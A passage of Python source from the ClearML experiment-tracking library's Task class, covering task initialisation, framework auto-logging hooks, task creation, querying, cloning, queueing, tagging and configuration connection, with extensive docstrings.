The values are:
- ``True`` - Automatically connect (default)
- ``False`` - Do not automatically connect
- A dictionary - In addition to a boolean, you can use a dictionary for fined grained control of connected
frameworks. The dictionary keys are frameworks and the values are booleans, other dictionaries used for
finer control or wildcard strings.
In case of wildcard strings, the local path of a model file has to match at least one wildcard to be
saved/loaded by ClearML. Example:
{'pytorch' : '*.pt', 'tensorflow': '*'}
Keys missing from the dictionary default to ``True``, and an empty dictionary defaults to ``False``.
Supported keys for finer control:
{'tensorboard': {'report_hparams': bool}} # whether to report TensorBoard hyperparameters
For example:
.. code-block:: py
auto_connect_frameworks={
'matplotlib': True, 'tensorflow': ['*.hdf5, 'something_else*], 'tensorboard': True,
'pytorch': ['*.pt'], 'xgboost': True, 'scikit': True, 'fastai': True,
'lightgbm': True, 'hydra': True, 'detect_repository': True, 'tfdefines': True,
'joblib': True, 'megengine': True, 'catboost': True
}
.. code-block:: py
auto_connect_frameworks={'tensorboard': {'report_hparams': False}}
:param bool auto_resource_monitoring: Automatically create machine resource monitoring plots
These plots appear in in the **ClearML Web-App (UI)**, **RESULTS** tab, **SCALARS** sub-tab,
with a title of **:resource monitor:**.
The values are:
- ``True`` - Automatically create resource monitoring plots. (default)
- ``False`` - Do not automatically create.
- Class Type - Create ResourceMonitor object of the specified class type.
:param auto_connect_streams: Control the automatic logging of stdout and stderr
The values are:
- ``True`` - Automatically connect (default)
- ``False`` - Do not automatically connect
- A dictionary - In addition to a boolean, you can use a dictionary for fined grained control of stdout and
stderr. The dictionary keys are 'stdout' , 'stderr' and 'logging', the values are booleans.
Keys missing from the dictionary default to ``False``, and an empty dictionary defaults to ``False``.
Notice, the default behaviour is logging stdout/stderr the
`logging` module is logged as a by product of the stderr logging
For example:
.. code-block:: py
auto_connect_streams={'stdout': True, 'stderr': True, 'logging': False}
:param wait_for_task_init: Wait for task to be initialized. If this is set to True, return the task after it was
initialized. If set to False, run the initialization in another thread and return a future that contains the task.
Wait and retrieve the task by calling result() on the returned future.
Note that the task will not capture information until it is initialized.
For example:
.. code-block:: py
task_future = Task.init(project_name='example', task_name='example', wait_for_task_init=False)
# execute some other code
task = task_future.result()
:return: The main execution Task (Task context) or a future to the Task (if wait_for_task_init=False).
"""
if not wait_for_task_init:
return FutureCaller().call(
cls.init,
project_name=project_name,
task_name=task_name,
tags=tags,
reuse_last_task_id=reuse_last_task_id,
continue_last_task=continue_last_task,
output_uri=output_uri,
auto_connect_arg_parser=auto_connect_arg_parser,
auto_connect_frameworks=auto_connect_frameworks,
auto_resource_monitoring=auto_resource_monitoring,
auto_connect_streams=auto_connect_streams,
wait_for_task_init=True,
)
def verify_defaults_match():
validate = [
('project name', project_name, cls.__main_task.get_project_name()),
('task name', task_name, cls.__main_task.name),
('task type', str(task_type) if task_type else task_type, str(cls.__main_task.task_type)),
]
for field, default, current in validate:
if default is not None and default != current:
raise UsageError(
"Current task already created "
"and requested {field} '{default}' does not match current {field} '{current}'. "
"If you wish to create additional tasks use `Task.create`, "
"or close the current task with `task.close()` before calling `Task.init(...)`".format(
field=field,
default=default,
current=current,
)
)
if cls.__main_task is not None:
# if this is a subprocess, regardless of what the init was called for,
# we have to fix the main task hooks and stdout bindings
if cls.__forked_proc_main_pid != os.getpid() and cls.__is_subprocess():
if task_type is None:
task_type = cls.__main_task.task_type
# make sure we only do it once per process
cls.__forked_proc_main_pid = os.getpid()
# make sure we do not wait for the repo detect thread
cls.__main_task._detect_repo_async_thread = None
cls.__main_task._dev_worker = None
cls.__main_task._resource_monitor = None
# remove the logger from the previous process
cls.__main_task.get_logger()
# create a new logger (to catch stdout/err)
cls.__main_task._logger = None
cls.__main_task.__reporter = None
# noinspection PyProtectedMember
cls.__main_task._get_logger(auto_connect_streams=auto_connect_streams)
cls.__main_task._artifacts_manager = Artifacts(cls.__main_task)
# unregister signal hooks, they cause subprocess to hang
# noinspection PyProtectedMember
cls.__main_task.__register_at_exit(cls.__main_task._at_exit)
# TODO: Check if the signal handler method is safe enough, for the time being, do not unhook
# cls.__main_task.__register_at_exit(None, only_remove_signal_and_exception_hooks=True)
# start all reporting threads
BackgroundMonitor.start_all(task=cls.__main_task)
if not running_remotely():
verify_defaults_match()
return cls.__main_task
is_sub_process_task_id = None
# check that we are not a child process, in that case do nothing.
# we should not get here unless this is Windows/macOS platform, linux support fork
if cls.__is_subprocess():
class _TaskStub(object):
def __call__(self, *args, **kwargs):
return self
def __getattr__(self, attr):
return self
def __setattr__(self, attr, val):
pass
is_sub_process_task_id = cls.__get_master_id_task_id()
# we could not find a task ID, revert to old stub behaviour
if not is_sub_process_task_id:
return _TaskStub() # noqa
elif running_remotely() and not get_is_master_node():
# make sure we only do it once per process
cls.__forked_proc_main_pid = os.getpid()
# make sure everyone understands we should act as if we are a subprocess (fake pid 1)
cls.__update_master_pid_task(pid=1, task=get_remote_task_id())
else:
# set us as master process (without task ID)
cls.__update_master_pid_task()
is_sub_process_task_id = None
if task_type is None:
# Backwards compatibility: if called from Task.current_task and task_type
# was not specified, keep legacy default value of TaskTypes.training
task_type = cls.TaskTypes.training
elif isinstance(task_type, six.string_types):
if task_type not in Task.TaskTypes.__members__:
raise ValueError("Task type '{}' not supported, options are: {}".format(
task_type, Task.TaskTypes.__members__.keys()))
task_type = Task.TaskTypes.__members__[str(task_type)]
try:
if not running_remotely():
# if this is the main process, create the task
if not is_sub_process_task_id:
task = cls._create_dev_task(
default_project_name=project_name,
default_task_name=task_name,
default_task_type=task_type,
tags=tags,
reuse_last_task_id=reuse_last_task_id,
continue_last_task=continue_last_task,
detect_repo=False if (
isinstance(auto_connect_frameworks, dict) and
not auto_connect_frameworks.get('detect_repository', True)) else True,
auto_connect_streams=auto_connect_streams,
)
# set defaults
if cls._offline_mode:
task.output_uri = None
elif output_uri:
task.output_uri = output_uri
elif cls.__default_output_uri:
task.output_uri = cls.__default_output_uri
# store new task ID
cls.__update_master_pid_task(task=task)
else:
# subprocess should get back the task info
task = cls.get_task(task_id=is_sub_process_task_id)
else:
# if this is the main process, create the task
if not is_sub_process_task_id:
task = cls(
private=cls.__create_protection,
task_id=get_remote_task_id(),
log_to_backend=False,
)
if cls.__default_output_uri and not task.output_uri:
task.output_uri = cls.__default_output_uri
# store new task ID
cls.__update_master_pid_task(task=task)
# make sure we are started
task.started(ignore_errors=True)
# continue last iteration if we had any
if task.data.last_iteration:
task.set_initial_iteration(int(task.data.last_iteration) + 1)
else:
# subprocess should get back the task info
task = cls.get_task(task_id=is_sub_process_task_id)
except Exception:
raise
else:
Task.__main_task = task
# register the main task for at exit hooks (there should only be one)
task.__register_at_exit(task._at_exit)
# always patch OS forking because of ProcessPool and the alike
PatchOsFork.patch_fork()
if auto_connect_frameworks:
def should_connect(*keys):
"""
Evaluates value of auto_connect_frameworks[keys[0]]...[keys[-1]].
If at some point in the evaluation, the value of auto_connect_frameworks[keys[0]]...[keys[-1]] is a bool,
that value will be returned. If a dictionary is empty, it will be evaluated to False.
If a key will not be found in the current dictionary, True will be returned.
"""
should_bind_framework = auto_connect_frameworks
for key in keys:
if not isinstance(should_bind_framework, dict):
return bool(should_bind_framework)
if should_bind_framework == {}:
return False
should_bind_framework = should_bind_framework.get(key, True)
return bool(should_bind_framework)
if should_connect("hydra"):
PatchHydra.update_current_task(task)
if should_connect("scikit") and should_connect("joblib"):
PatchedJoblib.update_current_task(task)
if should_connect("matplotlib"):
PatchedMatplotlib.update_current_task(Task.__main_task)
if should_connect("tensorflow") or should_connect("tensorboard"):
# allow to disable tfdefines
if should_connect("tfdefines"):
PatchAbsl.update_current_task(Task.__main_task)
TensorflowBinding.update_current_task(
task,
patch_reporting=should_connect("tensorboard"),
patch_model_io=should_connect("tensorflow"),
report_hparams=should_connect("tensorboard", "report_hparams"),
)
if should_connect("pytorch"):
PatchPyTorchModelIO.update_current_task(task)
if should_connect("megengine"):
PatchMegEngineModelIO.update_current_task(task)
if should_connect("xgboost"):
PatchXGBoostModelIO.update_current_task(task)
if should_connect("catboost"):
PatchCatBoostModelIO.update_current_task(task)
if should_connect("fastai"):
PatchFastai.update_current_task(task)
if should_connect("lightgbm"):
PatchLIGHTgbmModelIO.update_current_task(task)
if auto_resource_monitoring and not is_sub_process_task_id:
resource_monitor_cls = auto_resource_monitoring \
if isinstance(auto_resource_monitoring, six.class_types) else ResourceMonitor
task._resource_monitor = resource_monitor_cls(
task, report_mem_used_per_process=not config.get(
'development.worker.report_global_mem_used', False))
task._resource_monitor.start()
cls.__add_model_wildcards(auto_connect_frameworks)
# make sure all random generators are initialized with new seed
make_deterministic(task.get_random_seed())
if auto_connect_arg_parser:
EnvironmentBind.update_current_task(Task.__main_task)
# Patch ArgParser to be aware of the current task
argparser_update_currenttask(Task.__main_task)
PatchClick.patch(Task.__main_task)
PatchFire.patch(Task.__main_task)
PatchJsonArgParse.patch(Task.__main_task)
# set excluded arguments
if isinstance(auto_connect_arg_parser, dict):
task._arguments.exclude_parser_args(auto_connect_arg_parser)
# Check if parse args already called. If so, sync task parameters with parser
if argparser_parseargs_called():
for parser, parsed_args in get_argparser_last_args():
task._connect_argparse(parser=parser, parsed_args=parsed_args)
elif argparser_parseargs_called():
# actually we have nothing to do, in remote running, the argparser will ignore
# all non argparser parameters, only caveat if parameter connected with the same name
# as the argparser this will be solved once sections are introduced to parameters
pass
# Make sure we start the logger, it will patch the main logging object and pipe all output
# if we are running locally and using development mode worker, we will pipe all stdout to logger.
# The logger will automatically take care of all patching (we just need to make sure to initialize it)
logger = task._get_logger(auto_connect_streams=auto_connect_streams)
# show the debug metrics page in the log, it is very convenient
if not is_sub_process_task_id:
if cls._offline_mode:
logger.report_text('ClearML running in offline mode, session stored in {}'.format(
task.get_offline_mode_folder()))
else:
logger.report_text('ClearML results page: {}'.format(task.get_output_log_web_page()))
# Make sure we start the dev worker if required, otherwise it will only be started when we write
# something to the log.
task._dev_mode_setup_worker()
if (not task._reporter or not task._reporter.is_constructed()) and \
is_sub_process_task_id and not cls._report_subprocess_enabled:
task._setup_reporter()
# start monitoring in background process or background threads
# monitoring are: Resource monitoring and Dev Worker monitoring classes
BackgroundMonitor.start_all(task=task)
task.set_progress(0)
return task
@classmethod
def create(
cls,
project_name=None, # type: Optional[str]
task_name=None, # type: Optional[str]
task_type=None, # type: Optional[str]
repo=None, # type: Optional[str]
branch=None, # type: Optional[str]
commit=None, # type: Optional[str]
script=None, # type: Optional[str]
working_directory=None, # type: Optional[str]
packages=None, # type: Optional[Union[bool, Sequence[str]]]
requirements_file=None, # type: Optional[Union[str, Path]]
docker=None, # type: Optional[str]
docker_args=None, # type: Optional[str]
docker_bash_setup_script=None, # type: Optional[str]
argparse_args=None, # type: Optional[Sequence[Tuple[str, str]]]
base_task_id=None, # type: Optional[str]
add_task_init_call=True, # type: bool
):
# type: (...) -> Task
"""
Manually create and populate a new Task (experiment) in the system.
If the code does not already contain a call to ``Task.init``, pass add_task_init_call=True,
and the code will be patched in remote execution (i.e. when executed by `clearml-agent`
.. note::
This method **always** creates a new Task.
Use :meth:`Task.init` method to automatically create and populate task for the running process.
To reference an existing Task, call the :meth:`Task.get_task` method .
:param project_name: Set the project name for the task. Required if base_task_id is None.
:param task_name: Set the name of the remote task. Required if base_task_id is None.
:param task_type: Optional, The task type to be created. Supported values: 'training', 'testing', 'inference',
'data_processing', 'application', 'monitor', 'controller', 'optimizer', 'service', 'qc', 'custom'
:param repo: Remote URL for the repository to use, or path to local copy of the git repository
Example: 'https://github.com/allegroai/clearml.git' or '~/project/repo'
:param branch: Select specific repository branch/tag (implies the latest commit from the branch)
:param commit: Select specific commit id to use (default: latest commit,
or when used with local repository matching the local commit id)
:param script: Specify the entry point script for the remote execution. When used in tandem with
remote git repository the script should be a relative path inside the repository,
for example: './source/train.py' . When used with local repository path it supports a
direct path to a file inside the local repository itself, for example: '~/project/source/train.py'
:param working_directory: Working directory to launch the script from. Default: repository root folder.
Relative to repo root or local folder.
:param packages: Manually specify a list of required packages. Example: ["tqdm>=2.1", "scikit-learn"]
or `True` to automatically create requirements
based on locally installed packages (repository must be local).
:param requirements_file: Specify requirements.txt file to install when setting the session.
If not provided, the requirements.txt from the repository will be used.
:param docker: Select the docker image to be executed in by the remote session
:param docker_args: Add docker arguments, pass a single string
:param docker_bash_setup_script: Add bash script to be executed
inside the docker before setting up the Task's environment
:param argparse_args: Arguments to pass to the remote execution, list of string pairs (argument, value)
Notice, only supported if the codebase itself uses argparse.ArgumentParser
:param base_task_id: Use a pre-existing task in the system, instead of a local repo/script.
Essentially clones an existing task and overrides arguments/requirements.
:param add_task_init_call: If True, a 'Task.init()' call is added to the script entry point in remote execution.
:return: The newly created Task (experiment)
"""
if not project_name and not base_task_id:
if not cls.__main_task:
raise ValueError("Please provide project_name, no global task context found "
"(Task.current_task hasn't been called)")
project_name = cls.__main_task.get_project_name()
from .backend_interface.task.populate import CreateAndPopulate
manual_populate = CreateAndPopulate(
project_name=project_name, task_name=task_name, task_type=task_type,
repo=repo, branch=branch, commit=commit,
script=script, working_directory=working_directory,
packages=packages, requirements_file=requirements_file,
docker=docker, docker_args=docker_args, docker_bash_setup_script=docker_bash_setup_script,
base_task_id=base_task_id,
add_task_init_call=add_task_init_call,
raise_on_missing_entries=False,
)
task = manual_populate.create_task()
if task and argparse_args:
manual_populate.update_task_args(argparse_args)
task.reload()
return task
@classmethod
def get_task(
cls,
task_id=None, # type: Optional[str]
project_name=None, # type: Optional[str]
task_name=None, # type: Optional[str]
tags=None, # type: Optional[Sequence[str]]
allow_archived=True, # type: bool
task_filter=None # type: Optional[dict]
):
# type: (...) -> "Task"
"""
Get a Task by Id, or project name / task name combination.
For example:
The following code demonstrates calling ``Task.get_task`` to report a scalar to another Task. The output
of :meth:`.Logger.report_scalar` from testing is associated with the Task named ``training``. It allows
training and testing to run concurrently, because they initialized different Tasks (see :meth:`Task.init`
for information about initializing Tasks).
The training script:
.. code-block:: py
# initialize the training Task
task = Task.init('myProject', 'training')
# do some training
The testing script:
.. code-block:: py
# initialize the testing Task
task = Task.init('myProject', 'testing')
# get the training Task
train_task = Task.get_task(project_name='myProject', task_name='training')
# report metrics in the training Task
for x in range(10):
train_task.get_logger().report_scalar('title', 'series', value=x * 2, iteration=x)
:param str task_id: The Id (system UUID) of the experiment to get.
If specified, ``project_name`` and ``task_name`` are ignored.
:param str project_name: The project name of the Task to get.
:param str task_name: The name of the Task within ``project_name`` to get.
:param list tags: Filter based on the requested list of tags (strings) (Task must have all the listed tags)
To exclude a tag add "-" prefix to the tag. Example: ["best", "-debug"]
:param bool allow_archived: Only applicable if *not* using specific ``task_id``,
If True (default) allow to return archived Tasks, if False filter out archived Tasks
:param bool task_filter: Only applicable if *not* using specific ``task_id``,
Pass additional query filters, on top of project/name. See details in Task.get_tasks.
:return: The Task specified by ID, or project name / experiment name combination.
"""
return cls.__get_task(
task_id=task_id, project_name=project_name, task_name=task_name, tags=tags,
include_archived=allow_archived, task_filter=task_filter,
)
@classmethod
def get_tasks(
cls,
task_ids=None, # type: Optional[Sequence[str]]
project_name=None, # type: Optional[Union[Sequence[str],str]]
task_name=None, # type: Optional[str]
tags=None, # type: Optional[Sequence[str]]
task_filter=None # type: Optional[Dict]
):
# type: (...) -> List["Task"]
"""
Get a list of Tasks objects matching the queries/filters
- A list of specific Task IDs.
- Filter Tasks based on specific fields:
project name (including partial match), task name (including partial match), tags
Apply Additional advanced filtering with `task_filter`
:param list(str) task_ids: The Ids (system UUID) of experiments to get.
If ``task_ids`` specified, then ``project_name`` and ``task_name`` are ignored.
:param str project_name: The project name of the Tasks to get. To get the experiment
in all projects, use the default value of ``None``. (Optional)
Use a list of string for multiple optional project names.
:param str task_name: The full name or partial name of the Tasks to match within the specified
``project_name`` (or all projects if ``project_name`` is ``None``).
This method supports regular expressions for name matching. (Optional)
To match an exact task name (i.e. not partial matching),
add ^/$ at the beginning/end of the string, for example: "^exact_task_name_here$"
:param list(str) task_ids: list of unique task id string (if exists other parameters are ignored)
:param str project_name: project name (str) the task belongs to (use None for all projects)
:param str task_name: task name (str) in within the selected project
Return any partial match of task_name, regular expressions matching is also supported
If None is passed, returns all tasks within the project
:param list tags: Filter based on the requested list of tags (strings) (Task must have all the listed tags)
To exclude a tag add "-" prefix to the tag. Example: ["best", "-debug"]
:param dict task_filter: filter and order Tasks. See service.tasks.GetAllRequest for details
`parent`: (str) filter by parent task-id matching
`search_text`: (str) free text search (in task fields comment/name/id)
`status`: List[str] List of valid statuses
(options are: "created", "queued", "in_progress", "stopped", "published", "publishing", "closed", "failed",
"completed", "unknown")
`type`: List[str] List of valid task type
(options are: 'training', 'testing', 'inference', 'data_processing', 'application', 'monitor',
'controller', 'optimizer', 'service', 'qc'. 'custom')
`user`: List[str] Filter based on Task's user owner, provide list of valid user Ids.
`order_by`: List[str] List of field names to order by. When search_text is used,
Use '-' prefix to specify descending order. Optional, recommended when using page
Example: order_by=['-last_update']
`_all_`: dict(fields=[], pattern='') Match string `pattern` (regular expression)
appearing in All `fields`
dict(fields=['script.repository'], pattern='github.com/user')
`_any_`: dict(fields=[], pattern='') Match string `pattern` (regular expression)
appearing in Any of the `fields`
dict(fields=['comment', 'name'], pattern='my comment')
Examples:
{'status': ['stopped'], 'order_by': ["-last_update"]}
{'order_by'=['-last_update'], '_all_'=dict(fields=['script.repository'], pattern='github.com/user'))
:return: The Tasks specified by the parameter combinations (see the parameters).
"""
return cls.__get_tasks(task_ids=task_ids, project_name=project_name, tags=tags,
task_name=task_name, **(task_filter or {}))
@classmethod
def query_tasks(
cls,
project_name=None, # type: Optional[Union[Sequence[str],str]]
task_name=None, # type: Optional[str]
tags=None, # type: Optional[Sequence[str]]
additional_return_fields=None, # type: Optional[Sequence[str]]
task_filter=None, # type: Optional[Dict]
):
# type: (...) -> Union[List[str], List[Dict[str, str]]]
"""
Get a list of Tasks ID matching the specific query/filter.
Notice, if `additional_return_fields` is specified, returns a list of
dictionaries with requested fields (dict per Task)
:param str project_name: The project name of the Tasks to get. To get the experiment
in all projects, use the default value of ``None``. (Optional)
Use a list of string for multiple optional project names.
:param str task_name: The full name or partial name of the Tasks to match within the specified
``project_name`` (or all projects if ``project_name`` is ``None``).
This method supports regular expressions for name matching. (Optional)
:param str project_name: project name (str) the task belongs to (use None for all projects)
:param str task_name: task name (str) in within the selected project
Return any partial match of task_name, regular expressions matching is also supported
If None is passed, returns all tasks within the project
:param list tags: Filter based on the requested list of tags (strings) (Task must have all the listed tags)
To exclude a tag add "-" prefix to the tag. Example: ["best", "-debug"]
:param list additional_return_fields: Optional, if not provided return a list of Task IDs.
If provided return dict per Task with the additional requested fields.
Example: returned_fields=['last_updated', 'user', 'script.repository'] will return a list of dict:
[{'id': 'task_id', 'last_update': datetime.datetime(),
'user': 'user_id', 'script.repository': 'https://github.com/user/'}, ]
:param dict task_filter: filter and order Tasks. See service.tasks.GetAllRequest for details
`parent`: (str) filter by parent task-id matching
`search_text`: (str) free text search (in task fields comment/name/id)
`status`: List[str] List of valid statuses
(options are: "created", "queued", "in_progress", "stopped", "published", "publishing", "closed", "failed",
"completed", "unknown")
`type`: List[str] List of valid task type
(options are: 'training', 'testing', 'inference', 'data_processing', 'application', 'monitor',
'controller', 'optimizer', 'service', 'qc'. 'custom')
`user`: List[str] Filter based on Task's user owner, provide list of valid user Ids.
`order_by`: List[str] List of field names to order by. When search_text is used,
Use '-' prefix to specify descending order. Optional, recommended when using page
Example: order_by=['-last_update']
`_all_`: dict(fields=[], pattern='') Match string `pattern` (regular expression)
appearing in All `fields`
dict(fields=['script.repository'], pattern='github.com/user')
`_any_`: dict(fields=[], pattern='') Match string `pattern` (regular expression)
appearing in Any of the `fields`
dict(fields=['comment', 'name'], pattern='my comment')
Examples:
{'status': ['stopped'], 'order_by': ["-last_update"]}
{'order_by'=['-last_update'], '_all_'=dict(fields=['script.repository'], pattern='github.com/user'))
:return: The Tasks specified by the parameter combinations (see the parameters).
"""
if tags:
task_filter = task_filter or {}
task_filter['tags'] = (task_filter.get('tags') or []) + list(tags)
return_fields = {}
if additional_return_fields:
task_filter = task_filter or {}
return_fields = set(list(additional_return_fields) + ['id'])
task_filter['only_fields'] = (task_filter.get('only_fields') or []) + list(return_fields)
results = cls._query_tasks(project_name=project_name, task_name=task_name, **(task_filter or {}))
return [t.id for t in results] if not additional_return_fields else \
[{k: cls._get_data_property(prop_path=k, data=r, raise_on_error=False, log_on_error=False)
for k in return_fields}
for r in results]
@property
def output_uri(self):
# type: () -> str
return self.storage_uri
@output_uri.setter
def output_uri(self, value):
# type: (Union[str, bool]) -> None
# check if this is boolean
if value is False:
value = None
elif value is True:
value = self.__default_output_uri or self._get_default_report_storage_uri()
# check if we have the correct packages / configuration
if value and value != self.storage_uri:
from .storage.helper import StorageHelper
helper = StorageHelper.get(value)
if not helper:
raise ValueError("Could not get access credentials for '{}' "
", check configuration file ~/clearml.conf".format(value))
helper.check_write_permissions(value)
self.storage_uri = value
@property
def artifacts(self):
# type: () -> Dict[str, Artifact]
"""
A read-only dictionary of Task artifacts (name, artifact).
:return: The artifacts.
"""
if not Session.check_min_api_version('2.3'):
return ReadOnlyDict()
artifacts_pairs = []
if self.data.execution and self.data.execution.artifacts:
artifacts_pairs = [(a.key, Artifact(a)) for a in self.data.execution.artifacts]
if self._artifacts_manager:
artifacts_pairs += list(self._artifacts_manager.registered_artifacts.items())
return ReadOnlyDict(artifacts_pairs)
@property
def models(self):
# type: () -> Mapping[str, Sequence[Model]]
"""
Read-only dictionary of the Task's loaded/stored models.
:return: A dictionary-like object with "input"/"output" keys and input/output properties, pointing to a
list-like object containing of Model objects. Each list-like object also acts as a dictionary, mapping
model name to a appropriate model instance.
Get input/output models:
.. code-block:: py
task.models.input
task.models["input"]
task.models.output
task.models["output"]
Get the last output model:
.. code-block:: py
task.models.output[-1]
Get a model by name:
.. code-block:: py
task.models.output["model name"]
"""
return self.get_models()
@property
def logger(self):
# type: () -> Logger
"""
Get a Logger object for reporting, for this task context. You can view all Logger report output associated with
the Task for which this method is called, including metrics, plots, text, tables, and images, in the
**ClearML Web-App (UI)**.
:return: The Logger object for the current Task (experiment).
"""
return self.get_logger()
@classmethod
def clone(
cls,
source_task=None, # type: Optional[Union[Task, str]]
name=None, # type: Optional[str]
comment=None, # type: Optional[str]
parent=None, # type: Optional[str]
project=None, # type: Optional[str]
):
# type: (...) -> Task
"""
Create a duplicate (a clone) of a Task (experiment). The status of the cloned Task is ``Draft``
and modifiable.
Use this method to manage experiments and for autoML.
:param str source_task: The Task to clone. Specify a Task object or a Task ID. (Optional)
:param str name: The name of the new cloned Task. (Optional)
:param str comment: A comment / description for the new cloned Task. (Optional)
:param str parent: The Id of the parent Task of the new Task.
- If ``parent`` is not specified, then ``parent`` is set to ``source_task.parent``.
- If ``parent`` is not specified and ``source_task.parent`` is not available, then
``parent`` set to to ``source_task``.
:param str project: The Id of the project in which to create the new Task.
If ``None``, the new task inherits the original Task's project. (Optional)
:return: The new cloned Task (experiment).
"""
assert isinstance(source_task, (six.string_types, Task))
if not Session.check_min_api_version('2.4'):
raise ValueError("ClearML-server does not support DevOps features, "
"upgrade clearml-server to 0.12.0 or above")
task_id = source_task if isinstance(source_task, six.string_types) else source_task.id
if not parent:
if isinstance(source_task, six.string_types):
source_task = cls.get_task(task_id=source_task)
parent = source_task.id if not source_task.parent else source_task.parent
elif isinstance(parent, Task):
parent = parent.id
cloned_task_id = cls._clone_task(cloned_task_id=task_id, name=name, comment=comment,
parent=parent, project=project)
cloned_task = cls.get_task(task_id=cloned_task_id)
return cloned_task
@classmethod
def enqueue(cls, task, queue_name=None, queue_id=None):
# type: (Union[Task, str], Optional[str], Optional[str]) -> Any
"""
Enqueue a Task for execution, by adding it to an execution queue.
.. note::
A worker daemon must be listening at the queue for the worker to fetch the Task and execute it,
see `Use Case Examples <../clearml_agent_ref/#use-case-examples>`_ on the "ClearML Agent
Reference page.
:param Task/str task: The Task to enqueue. Specify a Task object or Task ID.
:param str queue_name: The name of the queue. If not specified, then ``queue_id`` must be specified.
:param str queue_id: The Id of the queue. If not specified, then ``queue_name`` must be specified.
:return: An enqueue JSON response.
.. code-block:: javascript
{
"queued": 1,
"updated": 1,
"fields": {
"status": "queued",
"status_reason": "",
"status_message": "",
"status_changed": "2020-02-24T15:05:35.426770+00:00",
"last_update": "2020-02-24T15:05:35.426770+00:00",
"execution.queue": "2bd96ab2d9e54b578cc2fb195e52c7cf"
}
}
- ``queued`` - The number of Tasks enqueued (an integer or ``null``).
- ``updated`` - The number of Tasks updated (an integer or ``null``).
- ``fields``
- ``status`` - The status of the experiment.
- ``status_reason`` - The reason for the last status change.
- ``status_message`` - Information about the status.
- ``status_changed`` - The last status change date and time (ISO 8601 format).
- ``last_update`` - The last Task update time, including Task creation, update, change, or events for
this task (ISO 8601 format).
- ``execution.queue`` - The Id of the queue where the Task is enqueued. ``null`` indicates not enqueued.
"""
assert isinstance(task, (six.string_types, Task))
if not Session.check_min_api_version('2.4'):
raise ValueError("ClearML-server does not support DevOps features, "
"upgrade clearml-server to 0.12.0 or above")
# make sure we have wither name ot id
mutually_exclusive(queue_name=queue_name, queue_id=queue_id)
task_id = task if isinstance(task, six.string_types) else task.id
session = cls._get_default_session()
if not queue_id:
queue_id = get_queue_id(session, queue_name)
if not queue_id:
raise ValueError('Could not find queue named "{}"'.format(queue_name))
req = tasks.EnqueueRequest(task=task_id, queue=queue_id)
res = cls._send(session=session, req=req)
if not res.ok():
raise ValueError(res.response)
resp = res.response
return resp
@classmethod
def dequeue(cls, task):
# type: (Union[Task, str]) -> Any
"""
Dequeue (remove) a Task from an execution queue.
:param Task/str task: The Task to dequeue. Specify a Task object or Task ID.
:return: A dequeue JSON response.
.. code-block:: javascript
{
"dequeued": 1,
"updated": 1,
"fields": {
"status": "created",
"status_reason": "",
"status_message": "",
"status_changed": "2020-02-24T16:43:43.057320+00:00",
"last_update": "2020-02-24T16:43:43.057320+00:00",
"execution.queue": null
}
}
- ``dequeued`` - The number of Tasks enqueued (an integer or ``null``).
- ``fields``
- ``status`` - The status of the experiment.
- ``status_reason`` - The reason for the last status change.
- ``status_message`` - Information about the status.
- ``status_changed`` - The last status change date and time in ISO 8601 format.
- ``last_update`` - The last time the Task was created, updated,
changed or events for this task were reported.
- ``execution.queue`` - The Id of the queue where the Task is enqueued. ``null`` indicates not enqueued.
- ``updated`` - The number of Tasks updated (an integer or ``null``).
"""
assert isinstance(task, (six.string_types, Task))
if not Session.check_min_api_version('2.4'):
raise ValueError("ClearML-server does not support DevOps features, "
"upgrade clearml-server to 0.12.0 or above")
task_id = task if isinstance(task, six.string_types) else task.id
session = cls._get_default_session()
req = tasks.DequeueRequest(task=task_id)
res = cls._send(session=session, req=req)
resp = res.response
return resp
def set_progress(self, progress):
# type: (int) -> ()
"""
Sets Task's progress (0 - 100)
Progress is a field computed and reported by the user.
:param progress: numeric value (0 - 100)
"""
if not isinstance(progress, int) or progress < 0 or progress > 100:
self.log.warning("Can't set progress {} as it is not and int between 0 and 100".format(progress))
return
self._set_runtime_properties({"progress": str(progress)})
def get_progress(self):
# type: () -> (Optional[int])
"""
Gets Task's progress (0 - 100)
:return: Task's progress as an int.
In case the progress doesn't exist, None will be returned
"""
return self._get_runtime_properties().get("progress")
def add_tags(self, tags):
# type: (Union[Sequence[str], str]) -> None
"""
Add Tags to this task. Old tags are not deleted. When executing a Task (experiment) remotely,
this method has no effect).
:param tags: A list of tags which describe the Task to add.
"""
if isinstance(tags, six.string_types):
tags = tags.split(" ")
self.data.tags = list(set((self.data.tags or []) + tags))
self._edit(tags=self.data.tags)
def connect(self, mutable, name=None):
# type: (Any, Optional[str]) -> Any
"""
Connect an object to a Task object. This connects an experiment component (part of an experiment) to the
experiment. For example, connect hyperparameters or models.
:param object mutable: The experiment component to connect. The object can be any object Task supports
integrating, including:
- argparse - An argparse object for parameters.
- dict - A dictionary for parameters.
- TaskParameters - A TaskParameters object.
- Model - A model object for initial model warmup, or for model update/snapshot uploading.
- Class type - A Class type, storing all class properties (excluding '_' prefix properties)
- Object - A class instance, storing all instance properties (excluding '_' prefix properties)
:param str name: A section name associated with the connected object, if 'name' is None defaults to 'General'
Currently only supported for `dict` / `TaskParameter` objects
Examples:
name='General' will put the connected dictionary under the General section in the hyper-parameters
name='Train' will put the connected dictionary under the Train section in the hyper-parameters
:return: The result returned when connecting the object, if supported.
:raise: Raise an exception on unsupported objects.
"""
# dispatching by match order
dispatch = (
(OutputModel, self._connect_output_model),
(InputModel, self._connect_input_model),
(ArgumentParser, self._connect_argparse),
(dict, self._connect_dictionary),
(TaskParameters, self._connect_task_parameters),
(type, self._connect_object),
(object, self._connect_object),
)
multi_config_support = Session.check_min_api_version('2.9')
if multi_config_support and not name and not isinstance(mutable, (OutputModel, InputModel)):
name = self._default_configuration_section_name
if not multi_config_support and name and name != self._default_configuration_section_name:
raise ValueError("Multiple configurations is not supported with the current 'clearml-server', "
"please upgrade to the latest version")
for mutable_type, method in dispatch:
if isinstance(mutable, mutable_type):
return method(mutable, name=name)
raise Exception('Unsupported mutable type %s: no connect function found' % type(mutable).__name__)
def connect_configuration(self, configuration, name=None, description=None):
# type: (Union[Mapping, list, Path, str], Optional[str], Optional[str]) -> Union[dict, Path, str]
"""
Connect a configuration dictionary or configuration file (pathlib.Path / str) to a Task object.
This method should be called before reading the configuration file.
Later, when creating an output model, the model will include the contents of the configuration dictionary
or file.
For example, a local file:
.. code-block:: py
config_file = task.connect_configuration(config_file)
my_params = json.load(open(config_file,'rt'))
A parameter dictionary/list:
.. code-block:: py
my_params = task.connect_configuration(my_params)
:param configuration: The configuration. This is usually the configuration used in the model training process.
Specify one of the following:
- A dictionary/list - A dictionary containing the configuration. ClearML stores the configuration in
